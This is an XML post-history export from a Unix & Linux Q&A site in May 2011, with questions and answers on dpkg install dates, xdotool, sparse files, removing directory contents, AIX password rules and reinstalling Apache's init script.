  <row Id="30855" PostHistoryTypeId="5" PostId="12579" RevisionGUID="f5231d53-d067-497e-8e18-a6de648cd967" CreationDate="2011-05-04T07:18:55.387" UserId="3169" Comment="use bashisms to make example code copy and paste friendly; added 369 characters in body" Text="RPM-based distributions like Red Hat are easy:&#xD;&#xA;&#xD;&#xA;    rpm -qa --last&#xD;&#xA;&#xD;&#xA;On Debian and other dpkg-based distributions, your specific problem is easy too:&#xD;&#xA;&#xD;&#xA;    grep install /var/log/dpkg.log&#xD;&#xA;&#xD;&#xA;Unless the log file has been rotated, in which case you should try:&#xD;&#xA;&#xD;&#xA;    grep install /var/log/dpkg.log /var/log/dpkg.log.1&#xD;&#xA;&#xD;&#xA;In general, `dpkg` and `apt` don't seem to track the installation date, going by the lack of any such field in the `dpkg-query` man page.&#xD;&#xA;&#xD;&#xA;And eventually old `/var/log/dpkg.log.*` files will be deleted by log rotation, so that way isn't guaranteed to give you the entire history of your system.&#xD;&#xA;&#xD;&#xA;One suggestion that appears a few times (e.g. [this thread](http://www.debianadmin.com/debianubuntu-package-management-using-dpkg.html/comment-page-1#comment-2391)) is to look at the `/var/lib/dpkg/info` directory.&#xD;&#xA;&#xD;&#xA;Having a look at the files there suggests you might want something like:&#xD;&#xA;&#xD;&#xA;    ls -t /var/log/dpkg/info/*.list | sed -e 's/\.list$//' | head -n 50&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To answer your question about selections, here's a first pass:&#xD;&#xA;&#xD;&#xA;    find /var/lib/dpkg/info -name &quot;*.list&quot; -exec stat -c $'%n\t%y' {} \; | sed -e 's,/var/lib/dpkg/info/,,' -e 's,\.list\t,\t,' | sort &gt; ~/dpkglist.dates&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections | sed -ne '/\tinstall$/{s/[[:space:]].*//;p}' | sort &gt; ~/dpkglist.selections&#xD;&#xA;&#xD;&#xA;    join -1 1 -2 1 -t $'\t' ~/dpkglist.selections ~/dpkglist.dates &gt; ~/dpkglist.selectiondates&#xD;&#xA;&#xD;&#xA;For some reason it's not printing very many differences for me, so there might be a bug or an invalid assumption about what `--get-selections` means.&#xD;&#xA;&#xD;&#xA;You can obviously limit the packages either by using `find . -mtime -&lt;days&gt;` or `head -n &lt;lines&gt;`, and change the output format as you like, e.g.&#xD;&#xA;&#xD;&#xA;    find /var/lib/dpkg/info -name &quot;*.list&quot; -mtime -4 | sed -e 's,/var/lib/dpkg/info/,,' -e 's,\.list$,,' | sort &gt; ~/dpkglist.recent&#xD;&#xA;    &#xD;&#xA;    join -1 1 -2 1 -t $'\t' ~/dpkglist.selections ~/dpkglist.recent &gt; ~/dpkglist.recentselections&#xD;&#xA;&#xD;&#xA;to list only the selections that were installed (changed?) in the past 4 days." />
  <row Id="30856" PostHistoryTypeId="2" PostId="12581" RevisionGUID="f54705ac-3572-43aa-bbc9-75a8a4a26ffb" CreationDate="2011-05-04T07:29:51.030" UserId="885" Text="You can use [xdotool](http://www.semicomplete.com/projects/xdotool/) to manufacture keyboard events. See the manual and the examples for how to target a specific window.&#xD;&#xA;&#xD;&#xA;    xdotool key ctrl+alt+left&#xD;&#xA;&#xD;&#xA;If this is to trigger a functionality of Gnome or the window manager, there may be a separate command line tool for that. For example [wmctrl](http://tomas.styblo.name/wmctrl/) gets and changes window parameters such as titles, position, etc.&#xD;&#xA;&#xD;&#xA;Similarly, if this to trigger a functionality of a specific application, there may be a way to do this directly. Of course that entirely depends on the application.&#xD;&#xA;" />
  <row Id="30857" PostHistoryTypeId="6" PostId="12577" RevisionGUID="7995c182-f1be-4a47-b605-b981e08b4a83" CreationDate="2011-05-04T07:30:02.573" UserId="885" Comment="edited tags" Text="écommandölineàégnomeàéxorgàékeyboardöshortcutsà" />
  <row Id="30858" PostHistoryTypeId="2" PostId="12582" RevisionGUID="37f69313-d5a0-4f0e-b54c-4f7b59730274" CreationDate="2011-05-04T07:37:22.533" UserId="885" Text="[Mikel has shown how to do this at the dpkg level](http://unix.stackexchange.com/questions/12578/list-packages-by-installation-date/12579#12579). In particular, `/var/lig/dpkg/info/$packagename.list` is created when the package is installed (and not modified afterwards).&#xD;&#xA;&#xD;&#xA;If you used the APT tools (which you presumably did since you're concerned about automatically vs manually installed packages), there's a history in `/var/log/apt/history.log`. As long as it hasn't rotated away, it keeps track of all APT installations, upgrades and removals, with an annotation for packages marked as automatically installed.&#xD;&#xA;" />
  <row Id="30860" PostHistoryTypeId="5" PostId="12577" RevisionGUID="548eb6be-cb02-4740-9a31-ea1274896c0c" CreationDate="2011-05-04T07:39:26.767" UserId="1925" Comment="added 22 characters in body" Text="I am running Gnome. I would like to execute a shortcut key combination from the command line. For example, type a command that generates the key codes for &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Left&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Does anyone know of a way to do this?" />
  <row Id="30861" PostHistoryTypeId="5" PostId="12579" RevisionGUID="680441e3-5276-4957-ae96-60f23a8eff28" CreationDate="2011-05-04T07:43:01.583" UserId="3169" Comment="added 161 characters in body" Text="RPM-based distributions like Red Hat are easy:&#xD;&#xA;&#xD;&#xA;    rpm -qa --last&#xD;&#xA;&#xD;&#xA;On Debian and other dpkg-based distributions, your specific problem is easy too:&#xD;&#xA;&#xD;&#xA;    grep install /var/log/dpkg.log&#xD;&#xA;&#xD;&#xA;Unless the log file has been rotated, in which case you should try:&#xD;&#xA;&#xD;&#xA;    grep install /var/log/dpkg.log /var/log/dpkg.log.1&#xD;&#xA;&#xD;&#xA;In general, `dpkg` and `apt` don't seem to track the installation date, going by the lack of any such field in the `dpkg-query` man page.&#xD;&#xA;&#xD;&#xA;And eventually old `/var/log/dpkg.log.*` files will be deleted by log rotation, so that way isn't guaranteed to give you the entire history of your system.&#xD;&#xA;&#xD;&#xA;One suggestion that appears a few times (e.g. [this thread](http://www.debianadmin.com/debianubuntu-package-management-using-dpkg.html/comment-page-1#comment-2391)) is to look at the `/var/lib/dpkg/info` directory.&#xD;&#xA;&#xD;&#xA;Having a look at the files there suggests you might want something like:&#xD;&#xA;&#xD;&#xA;    ls -t /var/log/dpkg/info/*.list | sed -e 's/\.list$//' | head -n 50&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To answer your question about selections, here's a first pass:&#xD;&#xA;&#xD;&#xA;    find /var/lib/dpkg/info -name &quot;*.list&quot; -exec stat -c $'%n\t%y' {} \; | sed -e 's,/var/lib/dpkg/info/,,' -e 's,\.list\t,\t,' | sort &gt; ~/dpkglist.dates&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections | sed -ne '/\tinstall$/{s/[[:space:]].*//;p}' | sort &gt; ~/dpkglist.selections&#xD;&#xA;&#xD;&#xA;    join -1 1 -2 1 -t $'\t' ~/dpkglist.selections ~/dpkglist.dates &gt; ~/dpkglist.selectiondates&#xD;&#xA;&#xD;&#xA;For some reason it's not printing very many differences for me, so there might be a bug or an invalid assumption about what `--get-selections` means.&#xD;&#xA;&#xD;&#xA;You can obviously limit the packages either by using `find . -mtime -&lt;days&gt;` or `head -n &lt;lines&gt;`, and change the output format as you like, e.g.&#xD;&#xA;&#xD;&#xA;    find /var/lib/dpkg/info -name &quot;*.list&quot; -mtime -4 | sed -e 's,/var/lib/dpkg/info/,,' -e 's,\.list$,,' | sort &gt; ~/dpkglist.recent&#xD;&#xA;    &#xD;&#xA;    join -1 1 -2 1 -t $'\t' ~/dpkglist.selections ~/dpkglist.recent &gt; ~/dpkglist.recentselections&#xD;&#xA;&#xD;&#xA;to list only the selections that were installed (changed?) in the past 4 days.&#xD;&#xA;&#xD;&#xA;You could probably also remove the `sort` commands after verifying the sort order used by `dpkg --get-selections` and make the `find` command more efficient." />
  <row Id="30862" PostHistoryTypeId="2" PostId="12583" RevisionGUID="b5bc6a6c-5631-4a8e-979a-b4afff87ffc0" CreationDate="2011-05-04T07:45:11.210" UserId="1925" Text="This is not distro specific so much as Desktop Environment or Window Manager specific. First of all, there is the situation of users logging into a text console or remote tty via ssh. What gets run when those users login is usually controlled by their shells rc files and the system shell profiles.&#xD;&#xA;&#xD;&#xA;Then there is the graphical environment case, which is probably what you are mostly after. Those depend very much on the environment. Gnome has a session manager that handles launching things on login. I assume KDE has something similar.&#xD;&#xA;&#xD;&#xA;Other window managers have their own mechanisms, usually starting with some kind of hook in their config files. It is also possible to build your own environment with a script that acts as the login shell that gets run after authenticating, then does whatever background work you want, then fires off a window manager or DE.&#xD;&#xA;&#xD;&#xA;Basically, there is no one way. You need to know something about your target environment." />
  <row Id="30864" PostHistoryTypeId="5" PostId="12582" RevisionGUID="cd55c57d-3adb-4846-96d9-538969f5a66e" CreationDate="2011-05-04T08:20:52.270" UserId="885" Comment="added when history.log was introduced, it's a recent feature" Text="[Mikel has shown how to do this at the dpkg level](http://unix.stackexchange.com/questions/12578/list-packages-by-installation-date/12579#12579). In particular, `/var/lig/dpkg/info/$packagename.list` is created when the package is installed (and not modified afterwards).&#xD;&#xA;&#xD;&#xA;If you used the APT tools (which you presumably did since you're concerned about automatically vs manually installed packages), there's a history in `/var/log/apt/history.log`. As long as it hasn't rotated away, it keeps track of all APT installations, upgrades and removals, with an annotation for packages marked as automatically installed. This is a fairly recent feature, introduced in APT 0.7.26, so in Debian it appeared in squeeze. In Ubuntu, 10.04 has `history.log` but the automatically-installed annotation is not present until 10.10.&#xD;&#xA;" />
  <row Id="30865" PostHistoryTypeId="2" PostId="12584" RevisionGUID="d7cf08af-c0fa-4f35-8163-1da30f87fea9" CreationDate="2011-05-04T08:26:55.123" UserId="6339" Text="No one has yet mentioned that you can use dd to create [sparse files](http://en.wikipedia.org/wiki/Sparse_file), though `truncate` can also be used for the same purpose.&#xD;&#xA;&#xD;&#xA;    dd if=/dev/zero of=sparse-file bs=1 count=1 seek=10GB&#xD;&#xA;&#xD;&#xA;This is almost instant and creates an arbitrary large file that can be used as a loopback file for instance:&#xD;&#xA;&#xD;&#xA;    loop=`losetup --show -f sparse-file`&#xD;&#xA;    mkfs.ext4 $loop&#xD;&#xA;    mkdir myloop&#xD;&#xA;    mount $loop myloop&#xD;&#xA;&#xD;&#xA;The nice thing is that it initially only uses a single block of diskspace, and thereafter grows only as needed (ext4 formatting of a 10GB file consumes 291 MB on my system). Use `du` to see how much disk space is actually used -- `ls` reports only the maximum size the file may grow to." />
  <row Id="30866" PostHistoryTypeId="2" PostId="12585" RevisionGUID="bf0590ef-a7b5-4f8f-b0ff-fa5976cf80ef" CreationDate="2011-05-04T08:51:47.620" UserId="4404" Text="Another way is to check the architecture some system file was compiled for, like&#xD;&#xA;&#xD;&#xA;    $ file /usr/bin/ld&#xD;&#xA;    /usr/bin/ld: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, stripped" />
  <row Id="30867" PostHistoryTypeId="25" PostId="12578" RevisionGUID="a8440d82-3009-43b1-b3b5-1bb46ede5329" CreationDate="2011-05-04T09:11:23.773" Comment="http://twitter.com/#!/StackUnix/status/65705068757917697" />
  <row Id="30868" PostHistoryTypeId="5" PostId="12497" RevisionGUID="403de648-1730-4b5a-990c-25da2fc8b868" CreationDate="2011-05-04T09:20:18.067" UserId="6761" Comment="grammar/spelling" Text="I have been using w3m for a couple of weeks and am convinced that it is my preferred text browser - with one exception.&#xD;&#xA;&#xD;&#xA;Is there any way to yank URLs to the clipboard &lt;em&gt;without using the mouse&lt;/em&gt;?&#xD;&#xA;&#xD;&#xA;I have looked through &lt;a href=&quot;http://w3m.sourceforge.net/MANUAL&quot;&gt;the manual&lt;/a&gt; and, using the default keybindings, there doesn't appear to be any documented way to do this.&#xD;&#xA;&#xD;&#xA;Has anyone developed a script to work around this?" />
  <row Id="30869" PostHistoryTypeId="5" PostId="12546" RevisionGUID="a6d4df2b-edfd-4705-8873-28d312e97c79" CreationDate="2011-05-04T09:36:23.607" UserId="1925" Comment="added 117 characters in body" Text="Yes.&#xD;&#xA;&#xD;&#xA;Actually there are lots of ways. You can setup a sound dummy sound card device that you can just rip the data out of the device ... however this isn't a very useful format.&#xD;&#xA;&#xD;&#xA;More useful to you is something like the `arecord` utility that allows you to evesdrop on the alsa output stream and save it to several known formats. Basically anything that you can get to play over the alsa sound system can be copied to a standard format sound file.&#xD;&#xA;&#xD;&#xA;[Similar tools exist for pulse audio][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12541/can-i-setup-a-loopback-audio-device/12558#12558" />
  <row Id="30879" PostHistoryTypeId="2" PostId="12589" RevisionGUID="bd0b5509-ab5e-4886-ac82-86873d5f5ab2" CreationDate="2011-05-04T10:12:36.833" UserId="2847" Text="I think in theory you could do something silly like:&#xD;&#xA;&#xD;&#xA;    $ ROOT=~/package-1.0 emerge =package-1&#xD;&#xA;&#xD;&#xA;But basically all non-overlay stuff is highly subject to some additional limitations and requirements about which there is not that much information. " />
  <row Id="30880" PostHistoryTypeId="5" PostId="12555" RevisionGUID="00610cd1-1243-4af9-bfe0-2e1cf2a5c9d7" CreationDate="2011-05-04T10:19:25.193" UserId="3513" Comment="added 152 characters in body" Text="I recently upgraded an openSUSE 11.3 install to 11.4 by downloading the DVD, burning it, &amp; chosing the upgrade option upon booting to it. I used all the upgrade defaults. Upon coming back up, I added the FreeNX zypper repository &amp; installed the latest FreeNX. Connecting via FreeNX works, but I'm not able to see any window menus on any of my applications. They get stuck to the top left corner of the screen &amp;/or they don't have the window border surrounding the window (as in the top bar that contains the minimize/maximize buttons).&#xD;&#xA;&#xD;&#xA;I've verified it's not a user problem because I created a new user &amp; logged in as the user for the first time &amp; it still happened to that user too.&#xD;&#xA;&#xD;&#xA;*** EDIT ***&#xD;&#xA;&#xD;&#xA;Client is OS X 10.6.7 using NX Client by NoMachine, ver 3.4.0-8.  I should also point out I have other servers running FreeNX that still work fine, none of which are openSUSE 11.4 however.  I think it is an openSUSE 11.4 specific problem.&#xD;&#xA;&#xD;&#xA;*** EDIT 2 ***&#xD;&#xA;&#xD;&#xA;Desktop environment on openSUSE is Gnome (whatever the standard is for 11.4).  Window manager is the default, so I guess Nautilus." />
  <row Id="30881" PostHistoryTypeId="5" PostId="12555" RevisionGUID="bb491d50-1037-4bc2-a51f-1f4a68a923b0" CreationDate="2011-05-04T10:25:29.477" UserId="3513" Comment="added 95 characters in body" Text="I recently upgraded an openSUSE 11.3 install to 11.4 by downloading the DVD, burning it, &amp; chosing the upgrade option upon booting to it. I used all the upgrade defaults. Upon coming back up, I added the FreeNX zypper repository &amp; installed the latest FreeNX. Connecting via FreeNX works, but I'm not able to see any window menus on any of my applications. They get stuck to the top left corner of the screen &amp;/or they don't have the window border surrounding the window (as in the top bar that contains the minimize/maximize buttons).&#xD;&#xA;&#xD;&#xA;I've verified it's not a user problem because I created a new user &amp; logged in as the user for the first time &amp; it still happened to that user too.&#xD;&#xA;&#xD;&#xA;*** EDIT ***&#xD;&#xA;&#xD;&#xA;Client is OS X 10.6.7 using NX Client by NoMachine, ver 3.4.0-8.  I should also point out I have other servers running FreeNX that still work fine, none of which are openSUSE 11.4 however.  I think it is an openSUSE 11.4 specific problem.&#xD;&#xA;&#xD;&#xA;*** EDIT 2 ***&#xD;&#xA;&#xD;&#xA;Desktop environment on openSUSE is Gnome (whatever the standard is for 11.4).  Window manager is the default, so I guess Nautilus.&#xD;&#xA;&#xD;&#xA;I should point out that it works fine locally &amp; with VNC, so it must be a FreeNX problem..." />
  <row Id="30885" PostHistoryTypeId="2" PostId="12590" RevisionGUID="49e64f18-ca25-4903-bd51-6e41e2ce5bd0" CreationDate="2011-05-04T11:08:51.623" UserId="3046" Text="Had to reset my password on a couple of client servers today, and despite following the rules I get the message &quot;Your password failed to meet:  minimum of 2 non-alphabetic characters&quot; back from the AIX server (the Solaris box doesn't give error messages so just keeps prompting for new password)&#xD;&#xA;&#xD;&#xA;The passwords I have tried include things like arstdyfu12445!! so I'm definitely including non-alphabetic characters." />
  <row Id="30886" PostHistoryTypeId="1" PostId="12590" RevisionGUID="49e64f18-ca25-4903-bd51-6e41e2ce5bd0" CreationDate="2011-05-04T11:08:51.623" UserId="3046" Text="Why does this password fail AIX and Solaris rules" />
  <row Id="30887" PostHistoryTypeId="3" PostId="12590" RevisionGUID="49e64f18-ca25-4903-bd51-6e41e2ce5bd0" CreationDate="2011-05-04T11:08:51.623" UserId="3046" Text="épasswordà" />
  <row Id="30888" PostHistoryTypeId="2" PostId="12591" RevisionGUID="5329cd49-cf5d-46bf-8bbd-acbfb44f0ea6" CreationDate="2011-05-04T11:11:39.517" UserId="3046" Text="An update from a colleague, which I have just tested:&#xD;&#xA;&#xD;&#xA;**12arstdyfu445!! works**&#xD;&#xA;&#xD;&#xA;It seems that for some legacy reason, the password strength rules need to be adhered to within the first 8 characters of the password.&#xD;&#xA;&#xD;&#xA;I will do some hunting around to see if this is applicable to all AIX and Solaris versions, but I hadn't managed to find an answer when googling through the IBM manuals available." />
  <row Id="30889" PostHistoryTypeId="2" PostId="12592" RevisionGUID="6dfa79eb-7b86-41d6-a641-2c3859ca817b" CreationDate="2011-05-04T11:12:28.020" UserId="1925" Text="Are you sure it is saying &quot;alphabetic&quot; and not &quot;alphanumeric&quot;? The password sample you show only has one non alphanumeric character (repeated twice). Also try putting the non alpha characters closer to the start of the password, perhaps the quality rules want to see that stuff before the Nth character or something." />
  <row Id="30890" PostHistoryTypeId="5" PostId="12592" RevisionGUID="2590a0e0-35fd-4d11-985e-d2df0c2aa9a4" CreationDate="2011-05-04T11:21:36.333" UserId="1925" Comment="added 25 characters in body" Text="Are you sure it is saying &quot;alphabetic&quot; and not &quot;alphanumeric&quot;? The password sample you show only has one non alphanumeric character (repeated twice).&#xD;&#xA;&#xD;&#xA;Also try putting the non alpha characters closer to the start of the password; perhaps the password quality check code wants to see the rules applied before the Nth character or something." />
  <row Id="30891" PostHistoryTypeId="17" PostId="12594" RevisionGUID="ef769072-d414-49c5-820d-e066324cddff" CreationDate="2011-05-04T11:26:38.020" UserId="-1" Comment="from http://stackoverflow.com/questions/5880098/how-to-remove-all-the-files-in-a-directory-linux/5880118#5880118" Text="" />
  <row Id="30892" PostHistoryTypeId="17" PostId="12595" RevisionGUID="ec047ba7-e869-40ac-87c7-ab8a6e715cdc" CreationDate="2011-05-04T11:26:38.020" UserId="-1" Comment="from http://stackoverflow.com/questions/5880098/how-to-remove-all-the-files-in-a-directory-linux/5880134#5880134" Text="" />
  <row Id="30893" PostHistoryTypeId="17" PostId="12596" RevisionGUID="d4f19e5c-6530-47a3-8841-b517e7a3ff0d" CreationDate="2011-05-04T11:26:38.020" UserId="-1" Comment="from http://stackoverflow.com/questions/5880098/how-to-remove-all-the-files-in-a-directory-linux/5880187#5880187" Text="" />
  <row Id="30894" PostHistoryTypeId="2" PostId="12594" RevisionGUID="4f5e9d5a-b120-4246-aae6-69b8ed9c73fb" CreationDate="2011-05-04T07:38:56.673" UserDisplayName="demas" Text="Try this version:&#xD;&#xA;&#xD;&#xA;     rm -r test/*" />
  <row Id="30895" PostHistoryTypeId="2" PostId="12595" RevisionGUID="63c0d5ad-095b-4541-a697-95d7d4921882" CreationDate="2011-05-04T07:40:03.010" UserDisplayName="Jordan Lewis" Text="If your top-level directory is called `images`, then run `rm -r images/*`. This uses the shell glob operator `*` to run `rm -r` on every file or directory within `images`." />
  <row Id="30896" PostHistoryTypeId="2" PostId="12596" RevisionGUID="5e9ccce1-1a17-4912-9147-1719c7f3b42e" CreationDate="2011-05-04T07:44:41.513" UserDisplayName="BasicWolf" Text="rm's syntax is:&#xD;&#xA;&#xD;&#xA;    rm [OPTION]... FILE...&#xD;&#xA;&#xD;&#xA;So, you have to state the appropriate path explicitly, e.g. &#xD;&#xA;&#xD;&#xA;    rm -r sub_dir/" />
  <row Id="30897" PostHistoryTypeId="2" PostId="12593" RevisionGUID="f843f288-8237-4ea7-8ff5-28ddeeabf2c3" CreationDate="2011-05-04T07:36:16.103" UserDisplayName="White rose" Text="Hi&#xD;&#xA;&#xD;&#xA;I am trying to remove all files and sub folders in a directory.&#xD;&#xA;&#xD;&#xA;So I used `rm -r` to remove all files. But I want to remove all files and sub folders in a directory but not the main directory.&#xD;&#xA;&#xD;&#xA;Ex:&#xD;&#xA;Main directory like images. It have header.png, footer.png and one sub directory.&#xD;&#xA;&#xD;&#xA;Now i want to delete header.png, footer.png and a sub directory but not the images folder.&#xD;&#xA;&#xD;&#xA;How can i do this in linux?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30898" PostHistoryTypeId="1" PostId="12593" RevisionGUID="f843f288-8237-4ea7-8ff5-28ddeeabf2c3" CreationDate="2011-05-04T07:36:16.103" UserDisplayName="White rose" Text="How to remove all the files in a directory - linux?" />
  <row Id="30899" PostHistoryTypeId="3" PostId="12593" RevisionGUID="f843f288-8237-4ea7-8ff5-28ddeeabf2c3" CreationDate="2011-05-04T07:36:16.103" UserDisplayName="White rose" Text="élinuxàérmà" />
  <row Id="30900" PostHistoryTypeId="17" PostId="12593" RevisionGUID="2103a61a-6bf8-4d5b-bf2b-b52173a28a67" CreationDate="2011-05-04T11:26:38.020" UserId="-1" Comment="from http://stackoverflow.com/questions/5880098/how-to-remove-all-the-files-in-a-directory-linux" Text="" />
  <row Id="30901" PostHistoryTypeId="6" PostId="12590" RevisionGUID="79295c46-e67c-4fd2-9a13-b1325aa8bafa" CreationDate="2011-05-04T11:29:22.560" UserId="3046" Comment="edited tags" Text="ésolarisàépasswordàéaixà" />
  <row Id="30902" PostHistoryTypeId="6" PostId="12555" RevisionGUID="1293caf6-f944-4de7-a731-cf98635e0d2f" CreationDate="2011-05-04T11:48:30.500" UserId="885" Comment="edited tags" Text="égnomeàéopensuseàémenuàéfreenxà" />
  <row Id="30903" PostHistoryTypeId="2" PostId="12597" RevisionGUID="c18f66ff-ad01-4a7f-a9c1-41faa55b04a4" CreationDate="2011-05-04T11:54:20.913" UserId="7196" Text="HI guys&#xD;&#xA;&#xD;&#xA;I am New to linux and just recently messed up my first apache / tomcat configuration.&#xD;&#xA;&#xD;&#xA;After trying to delete apache and tomcat, and now trying to reinstall apache 2, I am missing the init.d/apache2 file to start stop my server.&#xD;&#xA;&#xD;&#xA;I am not sure if the new install actualy worked, and my&#xD;&#xA;apt-get purge apache2 didnt remove everything in the first place !!!&#xD;&#xA;&#xD;&#xA;How can i get the init.d/apache2 file to test if server starts / installed properly (i had removed files and directories manually)&#xD;&#xA;&#xD;&#xA;PLS help !" />
  <row Id="30904" PostHistoryTypeId="1" PostId="12597" RevisionGUID="c18f66ff-ad01-4a7f-a9c1-41faa55b04a4" CreationDate="2011-05-04T11:54:20.913" UserId="7196" Text="Missing init.d/apache2 file" />
  <row Id="30905" PostHistoryTypeId="3" PostId="12597" RevisionGUID="c18f66ff-ad01-4a7f-a9c1-41faa55b04a4" CreationDate="2011-05-04T11:54:20.913" UserId="7196" Text="édebianàéapacheàéinitöscriptà" />
  <row Id="30906" PostHistoryTypeId="5" PostId="12597" RevisionGUID="e76fc709-5ded-40f2-a2c0-56022cfb961b" CreationDate="2011-05-04T11:56:26.597" UserId="1925" Comment="Please take the time to correctly capitalize and punctuate. It will encourage people to take the time to answer." Text="I am new to linux and just recently messed up my first apache/tomcat configuration. After trying to delete apache and tomcat, and now trying to reinstall apache 2, I am missing the `init.d/apache2` file to start/stop my server.&#xD;&#xA;&#xD;&#xA;I am not sure if the new install actualy worked, and my `apt-get purge apache2` didn't remove everything in the first place!&#xD;&#xA;&#xD;&#xA;How can I get the `init.d/apache2` file to test if server starts / is installed properly (I had removed files and directories manually)?" />
  <row Id="30907" PostHistoryTypeId="4" PostId="5293" RevisionGUID="bb0f9031-3b47-4d75-b175-dfcbaf4a5bbc" CreationDate="2011-05-04T12:01:23.817" UserId="3274" Comment="edited title; edited body" Text="How to jump to the next or previous word with CTRL + arrow keys?" />
  <row Id="30908" PostHistoryTypeId="24" PostId="5293" RevisionGUID="bb0f9031-3b47-4d75-b175-dfcbaf4a5bbc" CreationDate="2011-05-04T12:01:23.817" Comment="Proposed by 3274 approved by -1 edit id of 351" />
  <row Id="30909" PostHistoryTypeId="4" PostId="5293" RevisionGUID="4500f2d3-c032-46c2-b009-0abd147a64d7" CreationDate="2011-05-04T12:01:24.237" UserId="29" Comment="improve title" Text="How do I jump to the next or previous word with CTRL + arrow keys in a console?" />
  <row Id="30910" PostHistoryTypeId="25" PostId="12590" RevisionGUID="3b1e97d9-d386-46fb-847e-7c836646e558" CreationDate="2011-05-04T12:11:23.707" Comment="http://twitter.com/#!/StackUnix/status/65750367492771841" />
  <row Id="30911" PostHistoryTypeId="2" PostId="12598" RevisionGUID="cf26ee65-5b50-4537-a192-0b0334dfcfb4" CreationDate="2011-05-04T12:11:32.393" UserId="1925" Text="Try using `apt-get install --reinstall apache2` to force the apt-get system to install again even though the package exists and overwrite current files — even the ones it thinks are already there.&#xD;&#xA;&#xD;&#xA;By manually deleting things from the system you undoubtedly have the package manager confused about what needs doing where. You usually want to stick to using the tools provided unless you understand what you are effecting by manually fiddling." />
  <row Id="30912" PostHistoryTypeId="5" PostId="12598" RevisionGUID="c35ca796-a757-440a-92f2-2bdb07171b60" CreationDate="2011-05-04T12:16:56.477" UserId="1925" Comment="added 229 characters in body" Text="Try using `apt-get install --reinstall apache2` to force the apt-get system to install again even though the package exists and overwrite current files — even the ones it thinks are already there.&#xD;&#xA;&#xD;&#xA;By manually deleting things from the system you undoubtedly have the package manager confused about what needs doing where. You usually want to stick to using the tools provided unless you understand what you are effecting by manually fiddling.&#xD;&#xA;&#xD;&#xA;As an extra note, you don't usually need to mess with the files in /etc/init.d yourself. There is a tool that takes care of running those scripts for you. For example to restart apache you could run `service apache2 restart`." />
  <row Id="30913" PostHistoryTypeId="17" PostId="12600" RevisionGUID="cfccebd5-dcf8-4c45-8411-67371486268f" CreationDate="2011-05-04T12:24:10.997" UserId="-1" Comment="from http://stackoverflow.com/questions/5872483/how-do-i-edit-an-audio-cds-artist-and-title-in-dolphin/5872529#5872529" Text="" />
  <row Id="30914" PostHistoryTypeId="2" PostId="12600" RevisionGUID="59732d6b-a9a5-43b8-ab31-1ad3d3b8de56" CreationDate="2011-05-03T16:19:41.987" UserId="3032" Text="[Ex Falso][1] can do this for batches of mp3 files. It's what I use under GNOME:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/quodlibet/&#xD;&#xA;  [2]: http://i.imgur.com/MuVI4.png&#xD;&#xA;&#xD;&#xA;I'm not sure how an audio CD differs, but if it does, K3B *definitely* has the tools to do this. I'd be amazed if it doesn't." />
  <row Id="30915" PostHistoryTypeId="2" PostId="12599" RevisionGUID="cc232977-704d-4ae8-87b3-5025504ff5a1" CreationDate="2011-05-03T16:15:23.120" UserDisplayName="DrydenMaker" Text="I am running a mostly fresh install of Fedora 14 KDE spin.  I installed lame from rpmfusion to get mp3 support in Dolphin, but the CD I put in comes up with the wrong information.  This isn't surprising since it is an independent release of a band I like, and is probably not in the CDDB.  I am sure this is easy, but I dont know how to correct the information.  I cannot open the virtual 'CDDB Information.txt' and right-click doesn't get me anywhere.  Is there a package that needs to be there that I may have not installed yet?" />
  <row Id="30916" PostHistoryTypeId="1" PostId="12599" RevisionGUID="cc232977-704d-4ae8-87b3-5025504ff5a1" CreationDate="2011-05-03T16:15:23.120" UserDisplayName="DrydenMaker" Text="How do I edit an Audio CDs Artist and Title in Dolphin?" />
  <row Id="30917" PostHistoryTypeId="3" PostId="12599" RevisionGUID="cc232977-704d-4ae8-87b3-5025504ff5a1" CreationDate="2011-05-03T16:15:23.120" UserDisplayName="DrydenMaker" Text="élinuxàéfedoraàékdeà" />
  <row Id="30918" PostHistoryTypeId="17" PostId="12599" RevisionGUID="6a449c69-aecf-43f4-9133-afed3eb72a2c" CreationDate="2011-05-04T12:24:10.997" UserId="-1" Comment="from http://stackoverflow.com/questions/5872483/how-do-i-edit-an-audio-cds-artist-and-title-in-dolphin" Text="" />
  <row Id="30919" PostHistoryTypeId="5" PostId="12598" RevisionGUID="41a49c0c-960d-41df-8952-12e3487fa65a" CreationDate="2011-05-04T12:32:40.010" UserId="1925" Comment="added 574 characters in body" Text="Try using `apt-get install --reinstall apache2` to force the apt-get system to install again even though the package exists and overwrite current files — even the ones it thinks are already there.&#xD;&#xA;&#xD;&#xA;By manually deleting things from the system you undoubtedly have the package manager confused about what needs doing where. You usually want to stick to using the tools provided unless you understand what you are effecting by manually fiddling.&#xD;&#xA;&#xD;&#xA;As an extra note, you don't usually need to mess with the files in /etc/init.d yourself. There is a tool that takes care of running those scripts for you. For example to restart apache you could run `service apache2 restart`.&#xD;&#xA;&#xD;&#xA;**Edited based on information found in comments**&#xD;&#xA;&#xD;&#xA;The init script is part of a sub-package. Installing a package for the first time will install it's dependencies, but uninstalling it will just uninstall the package, not it's dependencies. The init script that you manually removed belongs to the `apache2.2-common` package with was a dependency of the main `apache2` package name. Removing apache2 even with `--purge` would have no effect on the init script because it's part of a different package. To get it back run `apt-get install --reinstall apache2.2-common`." />
